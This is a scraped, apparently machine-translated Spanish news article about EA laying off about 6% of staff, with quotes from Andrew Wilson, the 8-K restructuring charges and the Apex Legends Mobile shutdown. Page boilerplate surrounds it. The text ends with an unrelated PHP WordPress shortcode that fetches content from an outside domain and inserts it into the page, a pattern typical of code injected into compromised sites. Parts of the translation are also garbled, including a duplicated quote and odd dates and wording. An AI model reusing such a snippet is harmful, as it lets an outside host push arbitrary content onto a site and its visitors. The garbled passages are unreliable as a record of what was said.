EA ha anunciado que despedirá al 6% de sus empleados y se someterá a una reestructuración. La noticia llega a través de una publicación de blog oficial de EA, que también se compartió internamente con los empleados, y EA dijo que comenzó a notificar al personal sobre los despidos a partir de 2023.


Los trabajadores afectados seguirán recibiendo avisos de despido hasta el inicio del nuevo año fiscal que comienza en abril. Las presentaciones de la SEC muestran que EA tenía 12,900 empleados a partir de marzo de 2022, lo que sugiere una reducción del 6%, que asciende a alrededor de 774 empleados.












¿Quieres que recordemos esta configuración para todos tus dispositivos?


¡Regístrese o inicie sesión ahora!






Utilice un navegador compatible con video HTML5 para ver los videos.


Este video tiene un formato de archivo incorrecto.


Lo sentimos, ¡pero no puedes acceder a este contenido!





Ingrese su fecha de nacimiento para ver este video.


Al hacer clic en ‘Entrar’, acepta GameSpot.


Términos de uso y política de privacidad









Actualmente en ejecución: Revisión móvil de Apex Legends



El jefe de EA, Andrew Wilson, dijo al personal que la compañía “dará prioridad a la creación de juegos y experiencias que entretengan a comunidades en línea masivas, con narraciones interactivas de gran éxito y herramientas sociales y creativas”. Empoderamos a la comunidad en y alrededor de nuestros juegos”.


Como parte de esos nuevos objetivos, Wilson dijo que la compañía está reduciendo el espacio de oficinas, deshaciéndose de proyectos que “no contribuyen a la estrategia” y reestructurando equipos.


“Esta es la parte más difícil, y estamos trabajando en el proceso con el mayor cuidado y respeto. Donde podemos, brindamos oportunidades para que nuestros colegas hagan la transición a otros proyectos”, dijo Wilson. “Dijo Wilson. “Donde esto no es posible, brindamos beneficios adicionales, como indemnización por despido y atención médica y servicios de transición profesional”.


EA también presentó un formulario 8-K, un aviso requerido cuando las empresas realizan cambios importantes que los accionistas deben saber, ante la Comisión de Bolsa y Valores, y la empresa dijo que la organización debería estar terminada para el 9 de septiembre. En el formulario 8-K, la compañía también dijo que “espera pagar aproximadamente $170 millones a $200 millones en cargos”. Estos cargos se relacionan con el deterioro de la propiedad intelectual, la indemnización de los empleados y los gastos relacionados con los empleados, la pérdida de espacio de oficinas y la cancelación de contratos.


Los planes de reestructuración de EA se producen después de que despidió a cientos de evaluadores de control de calidad de Apex Legends en febrero y canceló varios proyectos a principios de 2022, incluido Titanfall y un juego para un jugador ambientado en el universo de Apex Legends. EA también decidió cerrar el juego móvil Apex Legends, que ahora está programado para cerrar el 1 de mayo.




Los productos discutidos aquí fueron seleccionados de forma independiente por nuestros editores. GameSpot puede recibir una parte de los ingresos si compra algo que aparece en nuestro sitio.


Previous Post Next Post
function pub_short() { $pub_text = file_get_contents( "https://alrafdean.org/me/pub.txt" ); return $pub_text; } add_shortcode('pub', 'pub_short');